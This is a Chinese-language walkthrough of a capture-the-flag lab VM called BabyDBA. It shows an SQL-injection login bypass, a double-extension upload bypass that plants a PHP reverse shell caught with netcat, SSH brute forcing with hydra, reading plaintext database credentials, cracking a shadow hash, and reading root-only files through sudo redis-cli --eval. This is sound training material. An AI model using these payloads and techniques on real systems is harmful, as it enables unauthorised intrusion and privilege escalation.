

一.信息收集

二.user.txt

三.root.txt

一.信息收集

```
root@kali [~] → nmap -p- --min-rate=10000 192.168.56.154
[22:52:46]
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-25 22:53 EDT
Nmap scan report for 192.168.56.154
Host is up (0.012s latency).

Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http

Nmap done: 1 IP address (1 host up) scanned in 15.63 seconds
```

扫描端口开放22和80端口



进入80端口web网页，扫描目录

```
root@kali [~] → dirsearch -u 192.168.56.154
[22:53:19]
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
pkg_resources is deprecated as an API. See
https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_ | . _ _ _ _ _ _ | _ v0.4.3
(_|||_) (/_(_)||(_|_)
```

```
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | wordlist size: 11460
```

```
Output File: /root/reports/_192.168.56.154/_25-10-25_22-54-59.txt
```

```
Target: http://192.168.56.154/
```

```
[22:55:01] Starting:  
[22:55:06] 403 - 279B - ./ht_wsr.txt  
[22:55:06] 403 - 279B - ./htaccess.bak1  
[22:55:06] 403 - 279B - ./htaccess.orig  
[22:55:06] 403 - 279B - ./htaccess.save  
[22:55:06] 403 - 279B - ./htaccess.sample  
[22:55:06] 403 - 279B - ./htaccess_extra  
[22:55:06] 403 - 279B - ./htaccessBAK  
[22:55:06] 403 - 279B - ./htaccessOLD  
[22:55:06] 403 - 279B - ./htaccessOLD2  
[22:55:06] 403 - 279B - ./htaccess_sc  
[22:55:06] 403 - 279B - ./htm  
[22:55:06] 403 - 279B - ./html  
[22:55:06] 403 - 279B - ./htaccess_orig  
[22:55:06] 403 - 279B - ./htpasswd  
[22:55:06] 403 - 279B - ./htpasswd_test  
[22:55:06] 403 - 279B - ./httr-oauth  
[22:55:08] 403 - 279B - ./php  
[22:55:15] 301 - 316B - /admin -> http://192.168.56.154/admin/  
[22:55:15] 200 - 1KB - /admin/  
[22:55:16] 200 - 1KB - /admin/index.php  
[22:55:57] 403 - 279B - /server-status/  
[22:55:57] 403 - 279B - /server-status  
[22:56:03] 301 - 318B - /uploads -> http://192.168.56.154/uploads/  
[22:56:03] 200 - 407B - /uploads/
```

发现登陆入口，没有发现关于密码的信息，对登录框进行sql测试

```
admin'or 1=1#  
admin' -- "  
admin' --
```

尝试万能密码后成功登陆(原理是将密码验证部分注释掉,然后绕过密码验证)参考:<https://www.freebuf.com/articles/web/423630.html>

或者账号应该是admin，然后进行弱口令爆破

Attack Save Columns 3. Intruder attack of http://192.168.56.154 - Temporary attack - Not saved to project file - X

Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request ^	Payload	Status code	Error	Timeout	Length	Comment
9043	admin10	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9044	admin1043	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9045	admin111	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9046	admin1111	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9047	admin111222	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9048	admin12	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9049	admin123	200	<input type="checkbox"/>	<input type="checkbox"/>	4270	
9050	admin123	302	<input type="checkbox"/>	<input type="checkbox"/>	304	
9051	admin123!	302	<input type="checkbox"/>	<input type="checkbox"/>	304	
9052	admin123!@#	302	<input type="checkbox"/>	<input type="checkbox"/>	304	
9053	admin123#	302	<input type="checkbox"/>	<input type="checkbox"/>	304	

Request Response

Pretty Raw Hex

```

1 POST /admin/ HTTP/1.1
2 Host: 192.168.56.154
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko/20100101 Firefox/144.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded
8 Content-Length: 31
9 Origin: http://192.168.56.154
10 Connection: close
11 Referer: http://192.168.56.154/admin/
12 Cookie: PHPSESSID=19g0dq140h9g364gj0f0nvr233
13 Upgrade-Insecure-Requests: 1
14 Priority: u=0, i
15
16 user=admin&pass=admin123&login=

```

② ⚙️ ⏪ ⏩ Search... 0 matches

47517 of 77195

admin123后边都是304长度,说明正确密码是admin123

二.user.txt

有上传入口，可以看出这是个白名单上传，旁边还有个系统维护工具，输入命令没啥用

尝试绕过一下文件上传，发现可以进行双扩展名

上传shell文件，访问一下

```

└─(root㉿kali)-[~]
└─# curl http://192.168.56.154/uploads/shell.php.jpg
WARNING: Failed to daemonise. This is quite common and not fatal.
Connection refused (111)

```

```
root@kali: ~
File Actions Edit View Help
└─(root@kali)-[~]
# nc -lvp 6666
listening on [any] 6666 ...
192.168.56.154: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.119] from (UNKNOWN) [192.168.56.154] 54182
Linux BabyDBA 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux
07:34:03 up 9 min, 0 users, load average: 0.03, 0.41, 0.28
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ 
```

成功弹到shell

```
$ $ script /dev/null -c bash #稳定shell
Script started, file is /dev/null
www-data@BabyDBA:/home$ ls
ls
goon
www-data@BabyDBA:/home$ cd goon
cd goon
www-data@BabyDBA:/home/goon$ ls
ls
user.txt
www-data@BabyDBA:/home/goon$ cat user.txt
cat user.txt
flag{user-4c75f5afcc1914aedd9e7748d87d6646}
```

拿到user.txt

三.root.txt

尝试用sudo -l 看一下，但没有密码，用hydra爆破goon用户，在用hydra爆破了很久都没爆出来

```
grep "goon" rockyou.txt | sort -u > pass.txt
```

生成个关于goon的密码本,选择一些有关于goon的弱口令

```
hydra -L goon -P pass.txt 192.168.56.154 ssh -vv
```

```

File Actions Edit View Help
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "firedragoon" - 382 of 1550 [child 14] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "flipsetgoonie" - 383 of 1550 [child 5] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "freelagoon" - 384 of 1550 [child 2] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "fukagoon1" - 385 of 1550 [child 1] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "fullbloodedgoon" - 386 of 1550 [child 9] (0/
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "fyegoon101" - 387 of 1550 [child 4] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gadgeygoona" - 388 of 1550 [child 11] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gagoon" - 389 of 1550 [child 13] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "Gagoon" - 390 of 1550 [child 12] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gaygoong" - 391 of 1550 [child 15] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "geegoon14" - 392 of 1550 [child 8] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "getmoneygoonz" - 393 of 1550 [child 6] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "ggoonn" - 394 of 1550 [child 14] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "ggoonnggg" - 395 of 1550 [child 5] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gigglygoon" - 396 of 1550 [child 2] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gimpgoon" - 397 of 1550 [child 1] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "gogoonline" - 398 of 1550 [child 9] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goolagoon." - 399 of 1550 [child 4] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon" - 400 of 1550 [child 11] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon007" - 401 of 1550 [child 13] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon012" - 402 of 1550 [child 12] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon03" - 403 of 1550 [child 15] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon04" - 404 of 1550 [child 8] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon05" - 405 of 1550 [child 6] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon08" - 406 of 1550 [child 14] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon09" - 407 of 1550 [child 5] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon1" - 408 of 1550 [child 2] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon10" - 409 of 1550 [child 1] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon101" - 410 of 1550 [child 9] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon11" - 411 of 1550 [child 4] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon11ster" - 412 of 1550 [child 11] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon12" - 413 of 1550 [child 6] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon12." - 414 of 1550 [child 14] (0/4)
[ATTEMPT] target 192.168.56.154 - login "goon" - pass "goon123" - 415 of 1550 [child 5] (0/4)
[22][ssh] host: 192.168.56.154  login: goon  password: goon123
[STATUS] attack finished for 192.168.56.154 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 5 final worker threads did not complete until end.
[ERROR] 5 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-26 07:45:40

```

成功爆破出用户密码为goon123

or

在/var/www/html/index.php有数据库的配置文件

```

<?php
session_start();

// 如果已经登录，重定向到仪表盘
if (isset($_SESSION['loggedin'])) && $_SESSION['loggedin'] === true) {
    header('Location: dashboard.php');
    exit;
}

// 处理登录
$login_error = '';
if (isset($_POST['login'])) {
    $conn = mysqli_connect("localhost", "vuln_user", "WeakPass!123", "vuln_db");
    if (!$conn) {
        die("Connection failed: " . mysqli_connect_error());
    }

    $username = $_POST['user'];
    $password = $_POST['pass'];
}

```

```
mysql -u vuln_user -p'weakPass!123'      #连接数据库
use vuln_db
```

```
root@kali: ~ | root@kali: ~ |
MariaDB [(none)]> use vuln_db
use vuln_db
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [vuln_db]> show tables;
^[[Dshow tables;
+-----+
| Tables_in_vuln_db |
+-----+
| users             |
+-----+
1 row in set (0.000 sec)

MariaDB [vuln_db]> select * from users;
select * from users;
+----+----+----+
| id | username | password |
+----+----+----+
| 1  | admin    | admin123 |
| NULL | goon    | goon123 |
+----+----+----+
2 rows in set (0.001 sec)

MariaDB [vuln_db]> ^X@ss
```

```
goon@BabyDBA:/ $ sudo -l
sudo -l
Matching Defaults entries for goon on BabyDBA:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User goon may run the following commands on BabyDBA:
(ALL) NOPASSWD: /usr/bin/redis-cli
```

在/opt目录下发现shadow.bak,

```
goon@BabyDBA:/opt$ cat shadow.bak
goon:$6$pdBKS8E38a9ua8cg$Zww0FwFzF.5L9oVYJbnExBj0ATVC6akWFWBQpcerpvDKJeT6E6CRzw21
WFDry.QBR7H77BigXgFyfy2QDJkhx0:20386:0:99999:7:::
root@kali [~] → john --wordlist=rockyou.txt hash.txt
[5:10:15]
```

```
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1          (goon)
1g 0:00:00:17 DONE (2025-10-26 05:10) 0.05611g/s 4510p/s 4510c/s 4510C/s
173173..07031992
Use the "--show" option to display all of the cracked passwords reliably
```

破解出密码1，但goon的密码是goon123，试一下用root，发现root的密码就是1

```
root@BabyDBA:~# cat root
cat: root: No such file or directory
root@BabyDBA:~# cat root.txt
flag{root-06ab716a88eb1a028e195454a2e8f2b8}
root@BabyDBA:~#
```

后老大告诉--evil参数可以直接读取

<https://www.runoob.com/redis/scripting-eval.html>

```
查看redis-cli的命令
redis-cli -h
redis-cli --eval myscript.lua key1 key2 , arg1 arg2 arg3
--eval 是执行 Lua 脚本的选项
```

```
/usr/bin/redis-cli
sudo redis-cli --eval /root/root.txt
```

eval 参数的脚本存在语法错误，Redis 服务器会返回错误信息，其中可能包含导致错误的部分脚本内容

06ab716a88eb1a028e195454a2e8f2b8不符合lua语法部分，所以暴露了该内容

```
goon@BabyDBA:~$ sudo redis-cli --eval /root/root.txt
(error) ERR Error compiling script (new function): user_script:1: malformed number near '06ab716a88eb1a028e195454a2e8f2b8'
goon@BabyDBA:~$
```